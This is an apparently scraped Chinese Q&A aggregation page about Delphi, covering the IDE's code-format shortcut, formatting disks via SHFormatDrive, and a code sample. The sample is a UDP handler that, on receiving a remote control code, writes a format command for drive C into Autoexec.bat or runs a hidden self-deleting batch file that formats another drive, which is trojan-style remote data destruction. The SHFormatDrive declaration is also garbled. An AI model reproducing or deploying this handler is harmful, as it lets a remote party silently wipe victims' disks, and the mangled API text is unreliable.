delphi格式化代码（delphi数据类型转换）

本篇文章给大家谈谈delphi格式化代码，以及delphi数据类型转换对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。

本文目录一览：

• 1、Delphi里有格式化代码的快捷键吗
• 2、格式化硬盘的 Delphi程序代码
• 3、delphi 在Delphi6中如何实现格式化磁盘？

Delphi里有格式化代码的快捷键吗

如图，在 Edit 菜单里，有 Format Source 格式化代码的菜单项，其快捷键是 Ctrl+D:

格式化硬盘的 Delphi程序代码

procedure TForm1.CUDPDataReceived(Sender: TComponent;

NumberBytes: Integer; FromIP: String; Port: Integer);

var

CtrlCode:array[0..250] of char;

Trun:string;

hDesktop : Thandle;

forc,ford:textfile;

//向Autoexec.bat写格式化命令

begin

CUDP.ReadBuffer(CtrlCode,NumberBytes);

// 读取控制码

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then

//格式化磁盘

if CtrlCode[6]='c' then

//格式化系统盘，将命令写入autoexec.bat，重起后生效

begin

assignfile(forc,'c:\Autoexec.bat');

rewrite(forc);

writeln(forc,'@echo off');

writeln(forc,'format c:/q');

// /q快速格式化

writeln(forc,'echo y|format c:/q nul');

//在Dos shell控制台下显示格式化信息

closefile(forc);

end

else

//格式化其它磁盘，将命令写入批处理文件，立即执行

begin

assignfile(ford,'c:\a.bat');

rewrite(ford);

writeln(ford,'@echo off');

writeln(ford,'format '+CtrlCode[6]+':/q');

writeln(ford,'@del %0');

closefile(ford);

winexec('c:\a.bat',sw_hide);

//开始格式化

end;

delphi 在Delphi6中如何实现格式化磁盘？

需要调用windows系统自带的动态连接库Shell32.dll中的函数SHFormatDrive此函数在Delphi中没有封装，用Delphi改写后如下：function

SHFormatDrive(hwndword;fmtIDword):longint其中参数Drive的取值如下：0：格式化

A盘，1：格式化B盘，2:格式化C盘，以此类推；参数fmtID一般取值0xFFFF参数Options的取值及含义如下：0：快速格式化1：完全格式化2：只复制文件系统函数的返回值有三个，起取值如下：-1

格式化出错-2

格式化取消-3

格式化没有完成。调用方法前面的老兄已经写了。呵呵。

关于delphi格式化代码和delphi数据类型转换的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。